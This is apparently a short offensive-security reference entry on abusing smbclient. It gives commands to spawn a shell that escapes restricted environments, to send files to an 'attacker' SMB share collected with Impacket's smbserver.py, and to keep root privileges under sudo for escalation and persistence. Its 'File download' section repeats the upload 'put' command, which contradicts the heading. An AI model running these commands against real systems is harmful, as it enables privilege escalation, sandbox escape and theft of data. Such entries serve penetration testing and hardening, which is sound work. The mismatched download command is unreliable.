A valid SMB/CIFS server must be available.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

smbclient '\\attacker\share'
!/bin/sh

File upload

It can exfiltrate files on the network.

Install Impacket and run sudo smbserver.py share /tmp on the attacker box to collect the file.

smbclient '\\attacker\share' -c 'put file_to_send where_to_save'

File download

It can download remote files.

Install Impacket and run sudo smbserver.py share /tmp on the attacker box to send the file.

smbclient '\\attacker\share' -c 'put file_to_send where_to_save'

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo smbclient '\\attacker\share'
!/bin/sh